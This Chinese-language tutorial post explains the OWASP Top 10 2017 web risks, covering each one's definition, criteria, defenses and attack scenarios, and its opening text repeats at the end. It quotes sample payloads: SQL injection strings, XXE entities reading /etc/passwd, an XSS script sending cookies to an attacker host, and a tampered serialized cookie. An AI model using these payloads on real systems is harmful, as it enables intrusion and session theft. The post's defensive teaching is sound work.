应用安全【免费下载链接】Top10Official OWASP Top 10 Document Repository项目地址https://gitcode.com/gh_mirrors/top/Top10点击查看免费下载导读本文以 2017/es/0x11-t10.md 为骨架完整展开 OWASP Top 10 2017 十大应用安全风险的成因、判定、防护与攻击场景并结合 2017/en 目录下各风险详解文档及仓库内的数据统计、风险评级资料进行补充佐证。读者读完可掌握十大风险的精确定义、判定标准、缓解手段以及在本仓库文档体系含多种语言与源码中检索与引用这些知识的方法。一、文档定位2017 版的“十大风险总表”2017/es/0x11-t10.md 是 OWASP Top 10 2017 西班牙语版的“风险速览表”用一张表概括了 2017 版的十大应用安全风险。与之对应的英文版本是 2017/en/0x11-t10.md后者内容完全一致但为英文原文便于交叉比对术语。该表对应的完整风险评级、数据来源与详细章节均收录在本仓库2017/目录中例如风险评级方法论见 2017/en/0x10-app-security-risks.md每个风险的详细章节见 2017/en/0xa1-injection.md 等十个文档2017 版发布说明见 2017/README.md其中提供了最终版 PPTX 与 PDF 的发布说明。二、2017 版十大风险总览A1–A10下表完整汇总了 2017 版十大风险的中文描述基于英文版 2017/en/0x11-t10.md 整理西班牙语版在 2017/es/0x11-t10.md 中表述一致| 编号 | 风险名称 | 核心描述 | | -- | -- | -- | | A1:2017 | 注入Injection | 当不可信数据作为命令或查询的一部分被发送给解释器如 SQL、NoSQL、OS、LDAP时发生注入缺陷。攻击者的恶意数据可欺骗解释器执行非预期命令或未经授权访问数据。 | | A2:2017 | 失效的身份验证Broken Authentication | 与认证和会话管理相关的应用功能常被错误实现使攻击者能破坏密码、密钥或会话令牌或利用其他实现缺陷临时或永久冒充其他用户身份。 | | A3:2017 | 敏感数据泄露Sensitive Data Exposure | 许多 Web 应用和 API 未能妥善保护金融、健康及 PII 等敏感数据。攻击者可窃取或篡改这些保护不当的数据用于信用卡欺诈、身份盗窃等犯罪。敏感数据需要额外的保护措施如存储或传输时加密并与浏览器交互时采取特殊预防措施。 | | A4:2017 | XML 外部实体XXE | 许多较旧或配置不当的 XML 处理器会评估 XML 文档中的外部实体引用。外部实体可被用于通过 file URI 处理程序泄露内部文件、内部文件共享、内部端口扫描、远程代码执行以及拒绝服务攻击如 Billion Laughs 攻击。 | | A5:2017 | 失效的访问控制Broken Access Control | 对已认证用户允许做什么的限制往往未被正确执行。攻击者可利用这些缺陷访问未授权的功能和/或数据如访问其他用户账户、查看敏感文件、修改他人数据、更改访问权限等。 | | A6:2017 | 安全配置错误Security Misconfiguration | 安全配置错误是最常见的问题常见原因包括不安全的默认配置、不完整或临时的配置、开放的云存储、配置错误的 HTTP 头以及包含敏感信息的冗长错误消息。所有操作系统、框架、库和应用都必须安全配置并及时打补丁/升级。 | | A7:2017 | 跨站脚本XSS | 当应用在未进行适当验证或转义的情况下将不可信数据包含到新网页或使用可由用户数据创建 HTML 或 JavaScript 的浏览器 API 更新现有网页时就会发生 XSS 缺陷。XSS 允许攻击者在受害者的浏览器中执行脚本可劫持用户会话、破坏网站或重定向用户到恶意站点。 | | A8:2017 | 不安全的反序列化Insecure Deserialization | 不安全的反序列化常导致远程代码执行。即使反序列化缺陷未导致远程代码执行也可被用于执行重放攻击、注入攻击和权限提升攻击等。 | | A9:2017 | 使用含有已知漏洞的组件Using Components with Known Vulnerabilities | 组件如库、框架和其他软件模块与应用以相同权限运行。若易受攻击的组件被利用此类攻击可导致严重的数据丢失或服务器被接管。使用含已知漏洞组件的应用和 API 可能破坏应用防御并引发各种攻击和影响。 | | A10:2017 | 日志记录和监控不足Insufficient Logging Monitoring | 日志记录和监控不足加上缺失或无效的事件响应集成使攻击者能够进一步攻击系统、维持持久性、横向移动到更多系统并篡改、提取或销毁数据。大多数泄露研究表明检测到泄露的时间超过 200 天通常由外部方而非内部流程或监控发现。 |注意上表风险名称的英文原文以 2017/en/0x11-t10.md 为准西班牙语版 2017/es/0x11-t10.md 使用了对应的西语术语如 Inyección、Pérdida de Autenticación、Exposición de datos sensibles、Entidad Externa de XML、Pérdida de Control de Acceso、Configuración de Seguridad Incorrecta、Secuencia de Comandos en Sitios Cruzados、Deserialización Insegura、Utilización de componentes con vulnerabilidades conocidas、Registro y Monitoreo Insuficientes。三、风险评级与“我的风险是什么”2017 版沿用了 OWASP 风险评级方法论。在 2017/en/0x10-app-security-risks.md 中风险被拆解为六个维度| 威胁代理Threat Agents | 可利用性Exploitability | 弱点普遍性Weakness Prevalence | 弱点可检测性Weakness Detectability | 技术影响Technical Impacts | 业务影响Business Impacts | | -- | -- | -- | -- | -- | -- | | 应用特定 | 容易 3 | 普遍 3 | 容易 3 | 严重 3 | 业务特定 | | | 一般 2 | 常见 2 | 一般 2 | 中等 2 | | | | 困难 1 | 少见 1 | 困难 1 | 轻微 1 | |评级要点每个维度采用 1–3 分制其中“可利用性 3 容易利用”“普遍性 3 普遍存在”“可检测性 3 容易检测”“技术影响 3 严重”。各组织的情况各不相同同一软件如内容管理系统 CMS在公益组织与医疗机构中的威胁代理和业务影响可能完全不同因此必须结合自身威胁代理与业务影响评估风险。风险名称尽可能与 MITRE 的 Common Weakness Enumeration (CWE) 对齐以促进通用命名约定、减少混淆。每个风险的详细评级表见 2017/en/0xc1-risk-factors.md其中还列出了除 Top 10 之外应额外评估的风险例如 CWE-352CSRF、CWE-400资源耗尽、CWE-434危险类型文件上传、CWE-451点击劫持、CWE-601未验证的重定向、CWE-799反自动化、CWE-829不可信第三方内容、CWE-918SSRF等。四、十大风险逐一详解4.1 A1:2017 注入Injection判定标准见 2017/en/0xa1-injection.md应用在以下情况易受注入攻击用户提供的数据未被应用验证、过滤或净化动态查询或非参数化调用未使用上下文感知的转义直接用于解释器敌意数据被用于 ORM 搜索参数以提取额外的敏感记录敌意数据被直接使用或拼接使 SQL 或命令同时包含结构和敌意数据常见注入类型包括 SQL、NoSQL、OS 命令、ORM、LDAP、表达式语言EL/OGNL 注入各解释器的概念相同。代码审计SAST是发现注入缺陷的最佳方法其次是彻底的自动化测试覆盖所有参数、头、URL、Cookie、JSON、SOAP 和 XML 输入。组织可在 CI/CD 管道中集成 SAST 与 DAST 工具在生产部署前发现新引入的注入缺陷。防护方法核心是“将数据与命令/查询分离”优先使用安全 API避免使用解释器或提供参数化接口或迁移到 ORM 工具。注意即使参数化存储过程若在 PL/SQL 或 T-SQL 中拼接查询和数据或用 EXECUTE IMMEDIATE / exec() 执行敌意数据仍可能引入 SQL 注入。采用正向“白名单”服务端输入验证。注意这并非完整防御因为许多应用需要特殊字符如文本区或移动应用 API。对残余的动态查询使用该解释器特有的转义语法转义特殊字符。注意SQL 结构如表名、列名无法转义因此用户提供的结构名称是危险的报表软件中常见。攻击场景示例场景 #1应用用不可信数据构造如下易受攻击的 SQL 调用String query SELECT * FROM accounts WHERE custID request.getParameter(id) ;场景 #2盲目信任框架导致查询仍易受攻击如 Hibernate Query LanguageQuery HQLQuery session.createQuery(FROM accounts WHERE custID request.getParameter(id) );两个场景中攻击者将浏览器中的 id 参数值改为 UNION SELECT SLEEP(10);--例如访问http://example.com/app/accountView?id UNION SELECT SLEEP(10);--从而改变两条查询的含义返回 accounts 表中的所有记录更危险的攻击可修改或删除数据甚至调用存储过程。4.2 A2:2017 失效的身份验证Broken Authentication判定标准见 2017/en/0xa2-broken-authentication.md确认用户身份、认证与会话管理对防御认证相关攻击至关重要。应用存在认证弱点的情况包括允许自动化攻击如凭据填充credential stuffing攻击者拥有有效用户名和密码列表允许暴力破解或其他自动化攻击允许默认、弱或众所周知的密码如 Password1 或 admin/admin使用弱或无效的凭据恢复和忘记密码流程如基于知识的答案无法安全实现使用明文、加密或弱哈希密码见 A3:2017缺少或无效的多因素认证MFA在 URL 中暴露会话 ID如 URL 重写登录成功后不轮换会话 ID未能正确使会话 ID 失效登出或不活动期间未正确使用户会话或认证令牌——尤其是单点登录 SSO 令牌——失效。防护方法尽可能实现多因素认证防止自动化、凭据填充、暴力破解和被盗凭据重用攻击。不随产品发布或部署任何默认凭据尤其是管理员用户。实现弱密码检查如将新密码或修改的密码与top 10000 worst passwords列表比对。将密码长度、复杂度和轮换策略与 NIST 800-63 B 5.1.1Memorized Secrets或其他基于证据的现代密码策略对齐。注册、凭据恢复和 API 路径应强化防账户枚举所有结果使用相同消息。限制或逐步延迟失败的登录尝试记录所有失败并在检测到凭据填充、暴力破解或其他攻击时告警管理员。使用服务端、安全的、内置的会话管理器登录后生成高熵的新随机会话 ID。会话 ID 不应出现在 URL 中应安全存储并在登出、空闲和绝对超时后失效。攻击场景示例场景 #1凭据填充——使用已知密码列表的自动化攻击若应用未实现自动化威胁或凭据填充防护应用可被用作密码预言机来判断凭据是否有效。场景 #2多数认证攻击源于继续将密码作为唯一因素。NIST 800-63 建议停止强制密码轮换和复杂度要求这反而促使用户使用和重用弱密码改用多因素认证。场景 #3应用会话超时设置不当。用户在公共电脑上访问应用未点退出而是直接关闭浏览器标签页离开一小时后攻击者使用同一浏览器用户仍处于认证状态。4.3 A3:2017 敏感数据泄露Sensitive Data Exposure判定标准见 2017/en/0xa3-sensitive-data-disclosure.md首先确定传输中和静态存储数据的保护需求。密码、信用卡号、健康记录、个人信息和商业机密需要额外保护尤其是受隐私法律如欧盟 GDPR或法规如 PCI DSS约束的数据。自查问题包括是否有任何数据以明文传输这涉及 HTTP、SMTP、FTP 等协议外部互联网流量尤其危险同时要检查所有内部流量如负载均衡器、Web 服务器或后端系统之间。是否默认使用或旧代码使用了过时或弱加密算法是否使用默认加密密钥、生成或重用弱密钥、缺少适当的密钥管理或轮换是否未强制加密例如缺少用户代理安全指令或头用户代理如应用、邮件客户端是否未验证收到的服务器证书有效性防护方法对应用处理、存储或传输的数据进行分类识别哪些数据根据隐私法律、法规要求或业务需求属于敏感数据并按分类实施控制。不要不必要地存储敏感数据尽快丢弃或使用符合 PCI DSS 的令牌化tokenization甚至截断。未被保留的数据不可能被窃取。确保对静态存储的所有敏感数据加密。确保使用最新且强健的标准算法、协议和密钥并进行适当的密钥管理。对传输中数据使用安全协议加密如支持完美前向保密PFS密码套件的 TLS、服务器端密码优先排序和安全参数使用 HTTP Strict Transport Security (HSTS) 等指令强制加密。对包含敏感数据的响应禁用缓存。使用带工作因子的强自适应加盐哈希函数存储密码如 Argon2、scrypt、bcrypt 或 PBKDF2。独立验证配置和设置的有效性。攻击场景示例场景 #1应用使用数据库自动加密对信用卡号加密但数据检索时自动解密导致 SQL 注入缺陷可以明文检索信用卡号。场景 #2网站未对所有页面使用或强制 TLS或支持弱加密。攻击者监控网络流量如不安全的无线网络将连接从 HTTPS 降级为 HTTP拦截请求并窃取用户的会话 Cookie然后重放该 Cookie 劫持用户已认证会话访问或修改用户的私有数据。场景 #3密码数据库使用未加盐或简单哈希存储所有用户密码。文件上传缺陷使攻击者获取密码数据库所有未加盐哈希可通过彩虹表暴露简单或快速哈希函数生成的哈希即使加盐也可能被 GPU 破解。4.4 A4:2017 XML 外部实体XXE判定标准见 2017/en/0xa4-xxe.md应用尤其是基于 XML 的 Web 服务或下游集成在以下情况可能易受攻击应用直接接受 XML 或 XML 上传尤其是来自不可信来源或将不可信数据插入 XML 文档并由 XML 处理器解析应用或 SOAP 服务的任何 XML 处理器启用了文档类型定义DTD——不同处理器的禁用机制不同应参考 OWASP XXE Prevention Cheat Sheet应用在联合安全或 SSO 中使用 SAML 处理身份SAML 使用 XML 进行身份断言可能易受攻击应用使用 1.2 之前的 SOAP且 XML 实体被传给 SOAP 框架易受 XXE 攻击通常意味着应用也易受拒绝服务攻击包括 Billion Laughs 攻击。防护方法开发者培训是识别和缓解 XXE 的基础。此外尽可能使用更简单的数据格式如 JSON避免敏感数据的序列化。修补或升级应用或底层操作系统使用的所有 XML 处理器和库使用依赖检查器将 SOAP 升级到 1.2 或更高。按 OWASP XXE Prevention Cheat Sheet在应用的所有 XML 解析器中禁用 XML 外部实体和 DTD 处理。实施正向白名单服务端输入验证、过滤或净化防止 XML 文档、头或节点中的敌意数据。验证 XML 或 XSL 文件上传功能使用 XSD 验证等方式校验传入的 XML。SAST 工具可帮助在源代码中发现 XXE但在大型复杂、多集成的应用中手动代码审查是最佳选择。如果无法实施这些控制可考虑使用虚拟补丁、API 安全网关或 Web 应用防火墙WAF来检测、监控和阻止 XXE 攻击。攻击场景示例场景 #1攻击者尝试从服务器提取数据?xml version1.0 encodingISO-8859-1? !DOCTYPE foo [ !ELEMENT foo ANY !ENTITY xxe SYSTEM file:///etc/passwd ] fooxxe;/foo场景 #2攻击者通过将上述 ENTITY 行改为以下内容来探测服务器的私有网络!ENTITY xxe SYSTEM https://192.168.1.1/private ]场景 #3攻击者通过包含可能无休止的文件来尝试拒绝服务攻击!ENTITY xxe SYSTEM file:///dev/random ]4.5 A5:2017 失效的访问控制Broken Access Control判定标准见 2017/en/0xa5-broken-access-control.md访问控制用于强制执行策略使用户无法超出其预期权限行事。常见漏洞包括通过修改 URL、内部应用状态或 HTML 页面绕过访问控制检查或使用自定义 API 攻击工具允许更改主键为其他用户的记录从而查看或编辑他人账户不安全的直接对象引用权限提升未登录而以用户身份行事或登录为普通用户却以管理员身份行事元数据操纵重放或篡改 JSON Web Token (JWT) 访问控制令牌、Cookie 或隐藏字段以提升权限或滥用 JWT 失效CORS 配置错误允许未经授权的 API 访问强制浏览force browsing未认证用户访问认证页面或普通用户访问特权页面访问缺少 POST、PUT、DELETE 访问控制的 API。防护方法访问控制只有在受信任的服务端代码或无服务器 API 中强制实施才有效攻击者无法修改访问控制检查或元数据。除公共资源外默认拒绝。访问控制机制实现一次并在整个应用复用包括尽量减少 CORS 的使用。模型访问控制应强制记录所有权而不是接受用户可以创建、读取、更新或删除任何记录。独特的应用业务限制要求应由领域模型强制实施。禁用 Web 服务器目录列表确保文件元数据如 .git和备份文件不在 Web 根目录中。记录访问控制失败并在适当时如重复失败告警管理员。对 API 和控制器访问进行速率限制以尽量减少自动化攻击工具的危害。登出后应在服务器端使 JWT 令牌失效。开发人员和 QA 应包含功能性的访问控制单元测试和集成测试。攻击场景示例场景 #1应用在 SQL 调用中使用未经验证的数据访问账户信息pstmt.setString(1, request.getParameter(acct)); ResultSet results pstmt.executeQuery();攻击者仅修改浏览器中的 acct 参数即可发送任意账户号。若未正确验证攻击者可访问任何用户的账户http://example.com/app/accountInfo?acctnotmyacct场景 #2攻击者强制浏览目标 URL。管理员页面需要管理员权限访问http://example.com/app/getappInfo http://example.com/app/admin_getappInfo若未认证用户可以访问任一页面或非管理员可以访问管理员页面即存在缺陷。4.6 A6:2017 安全配置错误Security Misconfiguration判定标准见 2017/en/0xa6-security-misconfiguration.md应用在以下情况可能易受攻击应用栈的任何部分缺少适当的安全加固或云服务权限配置不当启用或安装了不必要的功能如不必要的端口、服务、页面、账户或权限默认账户及其密码仍然启用且未更改错误处理向用户暴露堆栈跟踪或其他过于冗长的错误消息升级后的系统禁用了最新安全功能或未安全配置应用服务器、应用框架如 Struts、Spring、ASP.NET、库、数据库等的安全设置未设置为安全值服务器未发送安全头或指令或未设置为安全值软件过时或易受攻击见 A9:2017。防护方法应实施安全的安装流程包括可重复的加固流程使部署另一个正确锁定的环境快速且容易开发、QA 和生产环境应配置一致且每个环境使用不同的凭据。该流程应自动化以尽量减少建立新安全环境所需的工作量。精简平台不包含任何不必要的功能、组件、文档和示例删除或不安装未使用的功能和框架。作为补丁管理流程的一部分审查并更新所有安全通告、更新和补丁的相应配置见 A9:2017特别要审查云存储权限如 S3 bucket 权限。分段的应用架构通过分段、容器化或云安全组ACL在组件或租户之间提供有效、安全的分隔。向客户端发送安全指令如 Security Headers。自动化流程验证所有环境中配置和设置的有效性。攻击场景示例场景 #1应用服务器自带示例应用未从生产服务器移除这些示例应用存在已知安全缺陷若其中一个是管理控制台且默认账户未更改攻击者可用默认密码登录并接管系统。场景 #2服务器未禁用目录列表攻击者发现可列出目录找到并下载编译后的 Java 类反编译并逆向工程查看代码随后发现严重的访问控制缺陷。场景 #3应用服务器配置允许向用户返回详细错误消息如堆栈跟踪可能暴露敏感信息或底层缺陷如已知易受攻击的组件版本。场景 #4云服务提供商对 Internet 开放默认共享权限导致云存储中的敏感数据可被访问。4.7 A7:2017 跨站脚本XSS三种形式见 2017/en/0xa7-xss.md反射型 XSS应用或 API 将未验证和未转义的用户输入作为 HTML 输出的一部分。成功的攻击可让攻击者在受害者浏览器中执行任意 HTML 和 JavaScript。通常用户需点击指向攻击者控制页面的恶意链接如恶意水坑网站、广告等。存储型 XSS应用或 API 存储未净化的用户输入随后被其他用户或管理员查看。存储型 XSS 通常被视为高危或严重风险。DOM XSSJavaScript 框架、单页应用和 API 动态地将攻击者可控制的数据包含到页面中时易受 DOM XSS 攻击。理想情况下应用不应将攻击者可控制的数据发送到不安全的 JavaScript API。典型 XSS 攻击包括会话窃取、账户接管、MFA 绕过、DOM 节点替换或篡改如木马登录面板、针对用户浏览器的攻击恶意软件下载、键盘记录和其他客户端攻击。防护方法防止 XSS 需要将不可信数据与活动浏览器内容分离使用设计上自动转义 XSS 的框架如最新版 Ruby on Rails、React JS。了解每个框架 XSS 保护的局限性并适当处理未覆盖的用例。根据 HTML 输出中的上下文body、属性、JavaScript、CSS 或 URL转义不可信的 HTTP 请求数据可解决反射型和存储型 XSS 漏洞详见 OWASP XSS Prevention Cheat Sheet。在客户端修改浏览器文档时应用上下文敏感编码可防御 DOM XSS无法避免时可将类似的上下文敏感转义技术应用于浏览器 API见 OWASP DOM based XSS Prevention Cheat Sheet。启用内容安全策略Content Security Policy, CSP作为针对 XSS 的纵深防御缓解控制。只有在不存在其他允许通过本地文件包含如路径遍历覆盖或来自允许的 CDN 的易受攻击库放置恶意代码的漏洞时CSP 才有效。攻击场景示例场景 #1应用在构造以下 HTML 片段时使用不可信数据且未验证或转义(String) page input namecreditcard typeTEXT value request.getParameter(CC) ;攻击者将浏览器中的 CC 参数修改为scriptdocument.locationhttp://www.attacker.com/cgi-bin/cookie.cgi?foodocument.cookie/script此攻击使受害者的会话 ID 被发送到攻击者网站攻击者得以劫持用户当前会话。注意攻击者可以利用 XSS 击败应用可能采用的任何自动化跨站请求伪造CSRF防御。4.8 A8:2017 不安全的反序列化Insecure Deserialization判定标准见 2017/en/0xa8-insecure-deserialization.md应用和 API 在反序列化攻击者提供的敌意或篡改对象时易受攻击。这可能导致两类主要攻击对象和数据结构相关的攻击攻击者修改应用逻辑或在应用可用类能在反序列化期间或之后改变行为时实现任意远程代码执行典型的数据篡改攻击如与访问控制相关的攻击使用现有数据结构但更改内容。序列化可能用于远程和进程间通信RPC/IPC、线路协议、Web 服务、消息代理缓存/持久化数据库、缓存服务器、文件系统HTTP Cookie、HTML 表单参数、API 认证令牌。防护方法唯一安全架构模式是不接受来自不可信来源的序列化对象或使用只允许原始数据类型的序列化介质。若无法做到可考虑以下一种或多种对任何序列化对象实施完整性检查如数字签名防止敌意对象创建或数据篡改。在反序列化期间、对象创建前强制执行严格的类型约束代码通常期望可定义的类集合。已证明可绕过该技术因此不应仅依赖它。尽可能在低权限环境中隔离并运行反序列化代码。记录反序列化异常和失败如传入类型不是预期类型或反序列化抛出异常。限制或监控反序列化容器或服务器的进出网络连接。监控反序列化行为若用户持续反序列化则告警。攻击场景示例场景 #1一个 React 应用调用一组 Spring Boot 微服务开发者将用户状态序列化并在每次请求中来回传递。攻击者注意到 rO0 Java 对象签名使用 Java Serial Killer 工具在应用服务器上获得远程代码执行。场景 #2一个 PHP 论坛使用 PHP 对象序列化保存包含用户 ID、角色、密码哈希和其他状态的超级 Cookiea:4:{i:0;i:132;i:1;s:7:Mallory;i:2;s:4:user;i:3;s:32:b6a8b3bea87fe0e05022f8f3c88bc960;}攻击者修改序列化对象以赋予自己管理员权限a:4:{i:0;i:1;i:1;s:5:Alice;i:2;s:5:admin;i:3;s:32:b6a8b3bea87fe0e05022f8f3c88bc960;}4.9 A9:2017 使用含有已知漏洞的组件Using Components with Known Vulnerabilities判定标准见 2017/en/0xa9-known-vulns.md以下情况很可能易受攻击不了解使用的所有组件版本客户端和服务端包括直接使用的组件和嵌套依赖软件易受攻击、不受支持或过时包括 OS、Web/应用服务器、DBMS、应用、API 及所有组件、运行时环境和库未定期扫描漏洞未订阅所使用组件的安全公告未以基于风险的方式及时修复或升级底层平台、框架和依赖常见的月度或季度补丁流程使组织暴露数天或数月软件开发人员未测试更新、升级或修补后库的兼容性未保护组件的配置见 A6:2017。防护方法应有补丁管理流程移除未使用的依赖、不必要的功能、组件、文件和文档。使用 versions、DependencyCheck、retire.js 等工具持续盘点客户端和服务端组件框架、库及其依赖的版本。持续监控 CVE 和 NVD 等来源了解组件漏洞使用软件成分分析SCA工具自动化流程订阅所用组件安全漏洞的邮件告警。仅从官方来源通过安全链接获取组件优先使用签名包以减少包含被修改、恶意组件的可能性。监控无维护或不发布旧版本安全补丁的库和组件。若无法修补考虑部署虚拟补丁来监控、检测或防护已发现的问题。每个组织必须确保存在持续的计划在应用或产品组合的整个生命周期内监控、分诊并应用更新或配置更改。攻击场景示例场景 #1组件通常与应用以相同权限运行因此任何组件的缺陷都可能导致严重影响。此类缺陷可能是偶然的编码错误或故意的组件后门。已知示例CVE-2017-5638——Struts 2 远程代码执行漏洞可在服务器上执行任意代码曾引发重大泄露。物联网IoT设备虽常难以或无法修补但修补的重要性可能很大如生物医学设备。工具辅助存在自动化工具帮助攻击者发现未修补或配置错误的系统如 Shodan 物联网搜索引擎可帮助查找仍受 2014 年 4 月已修补的 Heartbleed 漏洞影响的设备。4.10 A10:2017 日志记录和监控不足Insufficient Logging Monitoring判定标准见 2017/en/0xaa-logging-detection-response.md在以下任何时候都会发生日志记录、检测、监控和主动响应不足可审计事件如登录、失败登录和高价值交易未被记录警告和错误不产生日志消息或产生不充分、不清楚的日志消息应用和 API 的日志未被监控以发现可疑活动日志仅存储在本地没有适当的告警阈值和响应升级流程或它们无效渗透测试和 DAST 工具如 OWASP ZAP的扫描不会触发告警应用无法实时或近实时地检测、升级或告警活跃攻击。若将日志记录和告警事件暴露给用户或攻击者则易受信息泄露见 A3:2017。防护方法根据应用存储或处理数据的风险而定确保所有登录、访问控制失败和服务端输入验证失败都能记录足够的用户上下文以识别可疑或恶意账户并保留足够时间以进行延迟取证分析。确保日志生成格式易于被集中式日志管理解决方案消费。确保高价值交易具有带完整性控制的审计跟踪防止篡改或删除如仅追加的数据库表等。建立有效的监控和告警及时检测和响应可疑活动。建立或采用事件响应和恢复计划如 NIST 800-61 rev 2 或更高版本。此外还有商业和开源的应用防护框架如 OWASP AppSensor、Web 应用防火墙如带 OWASP ModSecurity Core Rule Set 的 ModSecurity以及带自定义仪表盘和告警的日志关联软件。攻击场景示例场景 #1一个由小团队运营的开源项目论坛软件因软件缺陷被黑客入侵攻击者清空了包含下一版本的内部源代码仓库和所有论坛内容。尽管源代码可以恢复但缺乏监控、日志记录或告警导致了更严重的泄露。该论坛项目因此不再活跃。场景 #2攻击者扫描使用常见密码的用户可接管使用该密码的所有账户。对其他用户此扫描仅留下一次假登录。数天后可能用不同密码重复此过程。场景 #3一家大型美国零售商的内部分析沙箱检测到潜在有害软件但无人响应此检测。沙箱已产生警告一段时间直到外部银行因欺诈性卡交易才发现泄露。五、在仓库中检索与引用 2017 版知识本仓库OWASP Top 10 官方文档仓库以多种语言与格式收录 2017 版内容便于多语言读者与研究检索多语言 Markdown 源码2017/en/英文、2017/es/西班牙文、2017/fr/法文、2017/ja/日文、2017/ru/俄文、2017/pt-br/、2017/pt-pt/、2017/tr/、2017/id/、2017/fa/、2017/he/、2017/ko/、2017/ro/、2017/de/等目录中均有0x11-t10.md及各风险章节0xa1-injection.md至0xaa-logging-detection-response.md。例如法文版的阅读说明见 2017/fr/LISEZ MOI-FR.md 与 2017/fr/TRADUCTION.md。发布文件2017 版的官方发布说明见 2017/README.md最终版 PPTX 与 PDF 存放在2017/根目录如OWASP Top 10-2017 (en).pdf、OWASP Top 10-2017 (en).pptx。数据与草案2017/datacall/目录保存了 2017 版的数据征集与分析材料含各厂商提交的 xlsx 数据、CSV 表单提交与数据分析文档2017/drafts/保存了 RC1、RC2 等草案 PDF/PPTX可用于研究该版本的风险排序形成过程。中文对照如需中文阅读可参阅早期版本的中文译本如 2010/OWASP Top 10 2010 Chinese.pdf或新版 2021/docs/zh-TW/ 系列2017 版核心术语以英文版 2017/en/0x11-t10.md 为准。引用建议在技术文档或报告中引用时应同时标注风险编号如 A1:2017、CWE 编号如 CWE-89与本仓库对应章节路径便于读者直接回溯原始出处。六、总结从风险清单到可落地的安全行动2017 版十大风险的共同主题是“信任边界”——无论是将不可信数据送入解释器A1、信任脆弱的会话机制A2、未加密的敏感数据A3、未加固的 XML 解析器A4、未强制的访问策略A5、未加固的配置A6、未转义的输出A7、未验证的反序列化输入A8、未治理的第三方组件A9还是未记录的异常行为A10本质上都是对数据、代码与系统边界信任的失控。针对每条风险的防护措施可归纳为四类行动输入输出双端治理A1参数化查询 白名单验证、A4禁用 DTD/外部实体、A7上下文转义 CSP、A8拒绝不可信反序列化 完整性校验认证与访问控制加固A2MFA 会话 ID 轮换与失效、A5服务端强制访问控制 默认拒绝加密与配置基线A3静态/传输加密 强口令哈希、A6可重复的加固流程 安全头组件与运维闭环A9依赖清单 漏洞扫描 补丁管理、A10集中日志 实时告警 事件响应计划。以本文梳理的判定标准与攻击场景为检查清单结合 2017/en 下的逐项章节与 2017/datacall/ 的数据背景即可将 2017 版 Top 10 从一张风险速览表转化为组织的安全评审、代码审计与渗透测试实操依据。赞分享应用安全【免费下载链接】Top10Official OWASP Top 10 Document Repository项目地址https://gitcode.com/gh_mirrors/top/Top10点击查看免费下载相关推荐OWASP Top 102017完全解读十大 Web 应用安全风险与实战防护指南OWASP Top 102017完全解读十大 Web 应用安全风险与实战防护指南 OWASP Top 10 是全球最具影响力的 Web 应用安全风险清单应用安全OWASP Top 10 2017 十大 Web 应用安全风险完全解读从风险清单到防护实战OWASP Top 10 2017 十大 Web 应用安全风险完全解读从风险清单到防护实战 本文以 2017/he/0x11 t10.md https://l应用安全OWASP Top 10 2017 发布说明解读从 2013 到 2017 的十大 Web 应用安全风险变迁OWASP Top 10 2017 发布说明解读从 2013 到 2017 的十大 Web 应用安全风险变迁 本文以官方仓库 2017/pt pt/0x06应用安全上一篇EbookLib与其他Python电子书库对比为什么它是最佳选择下一篇FLUX.1-dev精度评估ClipScore与Hpsv2测试全流程创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考
应用安全【免费下载链接】Top10Official OWASP Top 10 Document Repository项目地址https://gitcode.com/gh_mirrors/top/Top10点击查看免费下载导读本文以 2017/es/0x11-t10.md 为骨架完整展开 OWASP Top 10 2017 十大应用安全风险的成因、判定、防护与攻击场景并结合 2017/en 目录下各风险详解文档及仓库内的数据统计、风险评级资料进行补充佐证。读者读完可掌握十大风险的精确定义、判定标准、缓解手段以及在本仓库文档体系含多种语言与源码中检索与引用这些知识的方法。一、文档定位2017 版的“十大风险总表”2017/es/0x11-t10.md 是 OWASP Top 10 2017 西班牙语版的“风险速览表”用一张表概括了 2017 版的十大应用安全风险。与之对应的英文版本是 2017/en/0x11-t10.md后者内容完全一致但为英文原文便于交叉比对术语。该表对应的完整风险评级、数据来源与详细章节均收录在本仓库2017/目录中例如风险评级方法论见 2017/en/0x10-app-security-risks.md每个风险的详细章节见 2017/en/0xa1-injection.md 等十个文档2017 版发布说明见 2017/README.md其中提供了最终版 PPTX 与 PDF 的发布说明。二、2017 版十大风险总览A1–A10下表完整汇总了 2017 版十大风险的中文描述基于英文版 2017/en/0x11-t10.md 整理西班牙语版在 2017/es/0x11-t10.md 中表述一致| 编号 | 风险名称 | 核心描述 | | -- | -- | -- | | A1:2017 | 注入Injection | 当不可信数据作为命令或查询的一部分被发送给解释器如 SQL、NoSQL、OS、LDAP时发生注入缺陷。攻击者的恶意数据可欺骗解释器执行非预期命令或未经授权访问数据。 | | A2:2017 | 失效的身份验证Broken Authentication | 与认证和会话管理相关的应用功能常被错误实现使攻击者能破坏密码、密钥或会话令牌或利用其他实现缺陷临时或永久冒充其他用户身份。 | | A3:2017 | 敏感数据泄露Sensitive Data Exposure | 许多 Web 应用和 API 未能妥善保护金融、健康及 PII 等敏感数据。攻击者可窃取或篡改这些保护不当的数据用于信用卡欺诈、身份盗窃等犯罪。敏感数据需要额外的保护措施如存储或传输时加密并与浏览器交互时采取特殊预防措施。 | | A4:2017 | XML 外部实体XXE | 许多较旧或配置不当的 XML 处理器会评估 XML 文档中的外部实体引用。外部实体可被用于通过 file URI 处理程序泄露内部文件、内部文件共享、内部端口扫描、远程代码执行以及拒绝服务攻击如 Billion Laughs 攻击。 | | A5:2017 | 失效的访问控制Broken Access Control | 对已认证用户允许做什么的限制往往未被正确执行。攻击者可利用这些缺陷访问未授权的功能和/或数据如访问其他用户账户、查看敏感文件、修改他人数据、更改访问权限等。 | | A6:2017 | 安全配置错误Security Misconfiguration | 安全配置错误是最常见的问题常见原因包括不安全的默认配置、不完整或临时的配置、开放的云存储、配置错误的 HTTP 头以及包含敏感信息的冗长错误消息。所有操作系统、框架、库和应用都必须安全配置并及时打补丁/升级。 | | A7:2017 | 跨站脚本XSS | 当应用在未进行适当验证或转义的情况下将不可信数据包含到新网页或使用可由用户数据创建 HTML 或 JavaScript 的浏览器 API 更新现有网页时就会发生 XSS 缺陷。XSS 允许攻击者在受害者的浏览器中执行脚本可劫持用户会话、破坏网站或重定向用户到恶意站点。 | | A8:2017 | 不安全的反序列化Insecure Deserialization | 不安全的反序列化常导致远程代码执行。即使反序列化缺陷未导致远程代码执行也可被用于执行重放攻击、注入攻击和权限提升攻击等。 | | A9:2017 | 使用含有已知漏洞的组件Using Components with Known Vulnerabilities | 